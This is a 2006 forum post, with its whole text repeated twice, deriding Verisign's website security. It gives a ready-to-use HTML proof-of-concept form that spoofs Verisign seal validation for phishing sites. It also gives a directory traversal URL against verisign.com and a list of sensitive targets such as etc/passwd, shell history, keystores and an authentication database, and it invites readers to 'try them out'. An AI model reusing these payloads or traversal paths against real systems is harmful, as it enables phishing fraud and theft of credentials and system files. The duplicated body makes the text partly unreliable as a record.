Post by verisign on Jan 21, 2006 0:02:41 GMT -5
(NOT) TRUSTING VERISIGN
On January 29 and 30, 2001, a social engineer successfully obtained two digital certificates in Microsoft's name. Although these keys were cancelled within 2 months, the perpetrator was never caught. This was quite a blow to Verisign's reputation - a company designed around security and trust.
Recently Verisign posted a free guide called "What Every E-Busines Should KNow about SSL Security and Consumer Trust". The introduction to this enlightening document says:
The Security of Your Site is the
Backbone of Trust for E-Business
It's true. Verisign should know. They probably have top-notch SECURITY protecting their own website. Surely Verisign has a rigorous code review and penetration testing regimen to ensure the satisfactory security of their own website.
Unfortunately this is not the case. In fact, for a company that offers PENETRATION TESTING as a security service, Verisign's website security is really quite appalling. If they do have penetration testers, they should be FLIPPING BURGERS instead - they'd probably do better at that.
Following is an outline for two distinct attack methods that, dispite being exceptionately TRIVIAL, demonstrate the wide range of vulnerabilities this TRUST business faces. I hope to leave you asking that age-old security question, "who do you trust, and why?", and more so, your initial answer will be up for re-evaluation.
If we are to TRUST Versign as either a certificate AUTHORITY, or as a company that conducts PENETRATION TESTING, then perhaps a review of their own security is in order. Following is a presentation of two areas where Verisign clearly do not practice what they preach.
The first is a method for FALSIFYING VERISIGN CERTIFICATES. By using this technique, a phisher could easily convince even the most astute computer user to provide their most PERSONAL INFORMATION. This is even worse considering that Verisign already has been caught up in this problem before. Clearly they do not have a policy for learning from previous security MISTAKES.
The second is a standard dot-dot-slash directory traversal that brings the Verisign website to its knees. Yes, DOT-DOT-SLASH - something that you'd expect a TRUST company to have a total grasp on. Can you read sensitive information directly from Verisign's hard drive. YES, WE THINK YOU CAN!
The following represents two ways of subverting Verisign SECURITY in very trivial ways. One method affects their security. The other impacts yours. Don't use this information MALICIOUSLY. But when it comes to placing your trust, do so JUDICIOUSLY.
FALSIFYING VERISIGN SEALS
In July 2002, Bugtraq readers were treated to a post about the Japanese Verisign website (http://www.verisign.co.jp). The post said:
"VeriSign's Seal displays parameters when it transfers them from the form to CGI script. At this point the company name and other information used in authentication, which is hidden in the form but displayed when the authentication process is complete, is transferred. Thus, the authentication window used by VeriSign's seal can be spoofed by preparing a page set with the hidden elements containing the information the attacker wants to spoof."
The article then goes on to demonstrate, via a simple HTML form, that anyone could pass arbitrary values to Seal.exe in order to make it look like the site possessed a valid verisign certificate.
Verisign responded to this by saying that this VULNERABILITY was due to an older version of their certificate validation mechanism. The next version, they said, would not be so useless.
The article you are reading was written almost 4 years after this discovery in Japan. Did they FIX it?
Perhaps it was a case of "security by obscurity", the Seal.exe file was renamed to Haydn.exe. Other than that, nothing else changed. At the end of this article is a Proof-of-Concept HTML script that demonstrates this vulnerability. Stuff it onto a web server and plug in a few FAKE values. All that is necessary is to point the original Japanese "hacked" HTML form to the American implementation of the Verisign SECURITY application, and change the name of the CGI PROGRAM. Pathetic.
The implications are huge. A PHISHER could convince you to go to www.paypalpayments.com, and when you click on the Verisign Seal, you would see that this site is VALID, and that it is validated by paypal.com. Surely this is a more convincing attack than those amateur BIDPAY scams!
Try them out. Decide on your own if you want VERISIGN to protect your system.
TRIVIAL DOT-DOT-SLASH DIRECTORY TRAVERSAL ATTACKS
Any time a hacker or penetration tester sees a CGI file load up content using strings like VHTML_FILE=security.pdf, they would INSTINCTIVELY replace security.pdf with ../.. strings in order to locate interesting files. Apparenly Verisign do not have penetration tests done on their websites, or their penetration testers are simply too INEXPERIENCED and can't see the BLATANTLY obvious.
For example, a file called maketar.pl contained 2 login/password combinations for the script to automatically tarball the hosted SECURE websites and FTP them to two internal FTP servers. Admittedly, the passwords were chosen well. HARD CODING them in a script however, was pretty stupid. There are MORE SCRIPTS like this lying around on Verisign as well.
The website is load balanced, and so DOWNLOADING CERTIFICATES usually requires hitting refresh a few times in order for a cached CERTIFICATE to "reappear". Same with all of their backups, which oddly appear in the ROOT DIRECTORY with names like data_bkup_20050401.tar. These are EASILY guessed once you know the NAMING CONVENTION.
This attack is so TRIVIAL and is also equally EASY to fix, so this section simply ends with some interesting examples as proof.
Following is the part needed to traverse the system hard drive:
verisign.com/cgi-bin/products/site/enroll/prd1.cgi?bundle_id=GS002&num_license=0&price=1595&new_2y=YES&originator=w181333810622000&additional_field9=c2371700&VHTML_FILE=/products/site/enroll/../../../../../../
Here are some interesting things to add to the end of that:
etc/passwd
etc/hosts
etc/resolv.conf
data/home/mozilla/.bash_history
var/adm/messages
app/ns-home/alias/secmod.db
app/webster/base/.keystore.webarchive
data/webster/cgi-bin/authdb.tar.gz
data/getca/getrootcert.cer
data/stellent/www/stellent
This document will not go so far as to explain the SIGNIFICANCE of the STELLANT and GETROOT directories. There is some irony in that one can DOWNLOAD and ANALYZE the vulnerable Haydn.exe file described in the preceding section, and shamelessly EXPOSED in the final sample FORM, using this very method.
(IN)VALID CERTIFICATE PROOF OF CONCEPT HTML
To use this, it'll probably be necessary to tidy up carriage returns. Put it on a web server, plug in some FAKE information, and see the VALID certificate. With a bit more research than Verisign puts into their own vulnerabilities, it is easily seen that this is just an EDIT of the japanese script from years ago, still VALID in the US today. It can be EDITED to display WHATEVER YOU WANT.
<HTML><HEAD></HEAD>
Fill in the blanks:
<FORM NAME=form1 METHOD=POST ACTION="https://digitalid.verisign.com/cgi-bin/haydn.exe"><INPUT type=hidden name="VHTML_FILE" value="../htmldocs/query/authCertDisplay.htm">
<INPUT type=hidden name="STATUS" value="0">
<INPUT type=hidden name="qmRowOffset" value="">
<INPUT type=hidden name="qmStartRecNumber" value="">
<INPUT type=hidden name="qmRecNumber" value="">
<BR>Organization Name:
<INPUT type=text name="VS_ORGANIZATION">
<INPUT type=hidden name="form_file" value="../fdf/authCertByIssuer.fdf">
<BR>Country:
<INPUT type=text name="COUNTRY">
<INPUT type=hidden name="PIPE" value="QUERY_MANAGER">
<BR>Valid end-date yy-mm-dd:
<INPUT type=text name="VS_VALID_END">
<INPUT type=hidden name="qmCompileAlways" value="yes">
<INPUT type=hidden name="unstructured_addr" value="">
<INPUT name="CITY">
<INPUT type=hidden name="CERT_MSG" value="">
<BR>Address:
<INPUT type=text name="ADDRESS">
<INPUT type=hidden name="VS_CERT_SERIAL" value="4a32c1c4f255d195d8009f0830ac047f">
<INPUT type=hidden name="VS_CERT_FLAGS" value="0">
<INPUT type=hidden name="VS_STATUS" value="Valid">
<INPUT type=hidden name="url_encode" value="no">
<INPUT type=hidden name="issuerSerial2" value="12345678901234567890123456789012">
<INPUT type=hidden name="SDATE" value="1044489600">
<BR>IP Address:
<INPUT type=text name="ip_address">
<BR>Change this to whatever you want:
<INPUT type=text name="VS_SUBJECT_READABLE" value="Country = US<br>State = California<BR>Locality = Los Angeles<BR>Organization = Secure Company<BR>Organizational Unit = Security<BR>Organizational Unit = Terms of use at www.cibc.com/verisign/rpa (c) 01<BR>Organizational Unit = Authenticated by CIBC<BR>Organizational Unit = Member, VeriSign Trust Network<BR>Common Name = www.securecompany.com">
<BR>ZIP Code:
<INPUT type=text name="ZIP">
<INPUT type=hidden name="qmStartRecNumber" value="1">
<INPUT type=hidden name="application" value="MSIE 6.0; Windows NT 5.1)">
<INPUT type=hidden name="qmRecNumber" value="2">
<INPUT type=hidden name="VS_PRODUCT_NAME" value="Digital ID Class 3 - Affiliate Secure Server Renewal">
<INPUT type=hidden name="STATE" value="Ontario">
<INPUT type=hidden name="remote_host" value="https://digitalid.cibc.com/secureServerFr/cgi-bin/haydn.exe">
<INPUT type=hidden name="common_name" value="">
<INPUT type=hidden name="error_status" value="4000">
<INPUT type=hidden name="VS_VALID_START" value="25-DEC-01">
<INPUT type=hidden name="card_expire" value="">
<INPUT type=hidden name="Template" value="authCertByIssuer">
<INPUT type=hidden name="issuerSerial" value="0d1407781d9e8d1f9f01b2498f4de91f">
<INPUT type=hidden name="ENDDATE" value="1034812799">
<INPUT type=hidden name="server_URL" value="https://servicecenter.verisign.com">
<BR>Website:
<INPUT type=text name="VS_COMMON_NAME">
<INPUT type=hidden name="END" value="YES">
<BR>
<INPUT TYPE=submit VALUE=Submit></FORM>
</BODY></HTML>
--END--
On January 29 and 30, 2001, a social engineer successfully obtained two digital certificates in Microsoft's name. Although these keys were cancelled within 2 months, the perpetrator was never caught. This was quite a blow to Verisign's reputation - a company designed around security and trust.
Recently Verisign posted a free guide called "What Every E-Busines Should KNow about SSL Security and Consumer Trust". The introduction to this enlightening document says:
The Security of Your Site is the
Backbone of Trust for E-Business
It's true. Verisign should know. They probably have top-notch SECURITY protecting their own website. Surely Verisign has a rigorous code review and penetration testing regimen to ensure the satisfactory security of their own website.
Unfortunately this is not the case. In fact, for a company that offers PENETRATION TESTING as a security service, Verisign's website security is really quite appalling. If they do have penetration testers, they should be FLIPPING BURGERS instead - they'd probably do better at that.
Following is an outline for two distinct attack methods that, dispite being exceptionately TRIVIAL, demonstrate the wide range of vulnerabilities this TRUST business faces. I hope to leave you asking that age-old security question, "who do you trust, and why?", and more so, your initial answer will be up for re-evaluation.
If we are to TRUST Versign as either a certificate AUTHORITY, or as a company that conducts PENETRATION TESTING, then perhaps a review of their own security is in order. Following is a presentation of two areas where Verisign clearly do not practice what they preach.
The first is a method for FALSIFYING VERISIGN CERTIFICATES. By using this technique, a phisher could easily convince even the most astute computer user to provide their most PERSONAL INFORMATION. This is even worse considering that Verisign already has been caught up in this problem before. Clearly they do not have a policy for learning from previous security MISTAKES.
The second is a standard dot-dot-slash directory traversal that brings the Verisign website to its knees. Yes, DOT-DOT-SLASH - something that you'd expect a TRUST company to have a total grasp on. Can you read sensitive information directly from Verisign's hard drive. YES, WE THINK YOU CAN!
The following represents two ways of subverting Verisign SECURITY in very trivial ways. One method affects their security. The other impacts yours. Don't use this information MALICIOUSLY. But when it comes to placing your trust, do so JUDICIOUSLY.
FALSIFYING VERISIGN SEALS
In July 2002, Bugtraq readers were treated to a post about the Japanese Verisign website (http://www.verisign.co.jp). The post said:
"VeriSign's Seal displays parameters when it transfers them from the form to CGI script. At this point the company name and other information used in authentication, which is hidden in the form but displayed when the authentication process is complete, is transferred. Thus, the authentication window used by VeriSign's seal can be spoofed by preparing a page set with the hidden elements containing the information the attacker wants to spoof."
The article then goes on to demonstrate, via a simple HTML form, that anyone could pass arbitrary values to Seal.exe in order to make it look like the site possessed a valid verisign certificate.
Verisign responded to this by saying that this VULNERABILITY was due to an older version of their certificate validation mechanism. The next version, they said, would not be so useless.
The article you are reading was written almost 4 years after this discovery in Japan. Did they FIX it?
Perhaps it was a case of "security by obscurity", the Seal.exe file was renamed to Haydn.exe. Other than that, nothing else changed. At the end of this article is a Proof-of-Concept HTML script that demonstrates this vulnerability. Stuff it onto a web server and plug in a few FAKE values. All that is necessary is to point the original Japanese "hacked" HTML form to the American implementation of the Verisign SECURITY application, and change the name of the CGI PROGRAM. Pathetic.
The implications are huge. A PHISHER could convince you to go to www.paypalpayments.com, and when you click on the Verisign Seal, you would see that this site is VALID, and that it is validated by paypal.com. Surely this is a more convincing attack than those amateur BIDPAY scams!
Try them out. Decide on your own if you want VERISIGN to protect your system.
TRIVIAL DOT-DOT-SLASH DIRECTORY TRAVERSAL ATTACKS
Any time a hacker or penetration tester sees a CGI file load up content using strings like VHTML_FILE=security.pdf, they would INSTINCTIVELY replace security.pdf with ../.. strings in order to locate interesting files. Apparenly Verisign do not have penetration tests done on their websites, or their penetration testers are simply too INEXPERIENCED and can't see the BLATANTLY obvious.
For example, a file called maketar.pl contained 2 login/password combinations for the script to automatically tarball the hosted SECURE websites and FTP them to two internal FTP servers. Admittedly, the passwords were chosen well. HARD CODING them in a script however, was pretty stupid. There are MORE SCRIPTS like this lying around on Verisign as well.
The website is load balanced, and so DOWNLOADING CERTIFICATES usually requires hitting refresh a few times in order for a cached CERTIFICATE to "reappear". Same with all of their backups, which oddly appear in the ROOT DIRECTORY with names like data_bkup_20050401.tar. These are EASILY guessed once you know the NAMING CONVENTION.
This attack is so TRIVIAL and is also equally EASY to fix, so this section simply ends with some interesting examples as proof.
Following is the part needed to traverse the system hard drive:
verisign.com/cgi-bin/products/site/enroll/prd1.cgi?bundle_id=GS002&num_license=0&price=1595&new_2y=YES&originator=w181333810622000&additional_field9=c2371700&VHTML_FILE=/products/site/enroll/../../../../../../
Here are some interesting things to add to the end of that:
etc/passwd
etc/hosts
etc/resolv.conf
data/home/mozilla/.bash_history
var/adm/messages
app/ns-home/alias/secmod.db
app/webster/base/.keystore.webarchive
data/webster/cgi-bin/authdb.tar.gz
data/getca/getrootcert.cer
data/stellent/www/stellent
This document will not go so far as to explain the SIGNIFICANCE of the STELLANT and GETROOT directories. There is some irony in that one can DOWNLOAD and ANALYZE the vulnerable Haydn.exe file described in the preceding section, and shamelessly EXPOSED in the final sample FORM, using this very method.
(IN)VALID CERTIFICATE PROOF OF CONCEPT HTML
To use this, it'll probably be necessary to tidy up carriage returns. Put it on a web server, plug in some FAKE information, and see the VALID certificate. With a bit more research than Verisign puts into their own vulnerabilities, it is easily seen that this is just an EDIT of the japanese script from years ago, still VALID in the US today. It can be EDITED to display WHATEVER YOU WANT.
<HTML><HEAD></HEAD>
Fill in the blanks:
<FORM NAME=form1 METHOD=POST ACTION="https://digitalid.verisign.com/cgi-bin/haydn.exe"><INPUT type=hidden name="VHTML_FILE" value="../htmldocs/query/authCertDisplay.htm">
<INPUT type=hidden name="STATUS" value="0">
<INPUT type=hidden name="qmRowOffset" value="">
<INPUT type=hidden name="qmStartRecNumber" value="">
<INPUT type=hidden name="qmRecNumber" value="">
<BR>Organization Name:
<INPUT type=text name="VS_ORGANIZATION">
<INPUT type=hidden name="form_file" value="../fdf/authCertByIssuer.fdf">
<BR>Country:
<INPUT type=text name="COUNTRY">
<INPUT type=hidden name="PIPE" value="QUERY_MANAGER">
<BR>Valid end-date yy-mm-dd:
<INPUT type=text name="VS_VALID_END">
<INPUT type=hidden name="qmCompileAlways" value="yes">
<INPUT type=hidden name="unstructured_addr" value="">
<INPUT name="CITY">
<INPUT type=hidden name="CERT_MSG" value="">
<BR>Address:
<INPUT type=text name="ADDRESS">
<INPUT type=hidden name="VS_CERT_SERIAL" value="4a32c1c4f255d195d8009f0830ac047f">
<INPUT type=hidden name="VS_CERT_FLAGS" value="0">
<INPUT type=hidden name="VS_STATUS" value="Valid">
<INPUT type=hidden name="url_encode" value="no">
<INPUT type=hidden name="issuerSerial2" value="12345678901234567890123456789012">
<INPUT type=hidden name="SDATE" value="1044489600">
<BR>IP Address:
<INPUT type=text name="ip_address">
<BR>Change this to whatever you want:
<INPUT type=text name="VS_SUBJECT_READABLE" value="Country = US<br>State = California<BR>Locality = Los Angeles<BR>Organization = Secure Company<BR>Organizational Unit = Security<BR>Organizational Unit = Terms of use at www.cibc.com/verisign/rpa (c) 01<BR>Organizational Unit = Authenticated by CIBC<BR>Organizational Unit = Member, VeriSign Trust Network<BR>Common Name = www.securecompany.com">
<BR>ZIP Code:
<INPUT type=text name="ZIP">
<INPUT type=hidden name="qmStartRecNumber" value="1">
<INPUT type=hidden name="application" value="MSIE 6.0; Windows NT 5.1)">
<INPUT type=hidden name="qmRecNumber" value="2">
<INPUT type=hidden name="VS_PRODUCT_NAME" value="Digital ID Class 3 - Affiliate Secure Server Renewal">
<INPUT type=hidden name="STATE" value="Ontario">
<INPUT type=hidden name="remote_host" value="https://digitalid.cibc.com/secureServerFr/cgi-bin/haydn.exe">
<INPUT type=hidden name="common_name" value="">
<INPUT type=hidden name="error_status" value="4000">
<INPUT type=hidden name="VS_VALID_START" value="25-DEC-01">
<INPUT type=hidden name="card_expire" value="">
<INPUT type=hidden name="Template" value="authCertByIssuer">
<INPUT type=hidden name="issuerSerial" value="0d1407781d9e8d1f9f01b2498f4de91f">
<INPUT type=hidden name="ENDDATE" value="1034812799">
<INPUT type=hidden name="server_URL" value="https://servicecenter.verisign.com">
<BR>Website:
<INPUT type=text name="VS_COMMON_NAME">
<INPUT type=hidden name="END" value="YES">
<BR>
<INPUT TYPE=submit VALUE=Submit></FORM>
</BODY></HTML>
--END--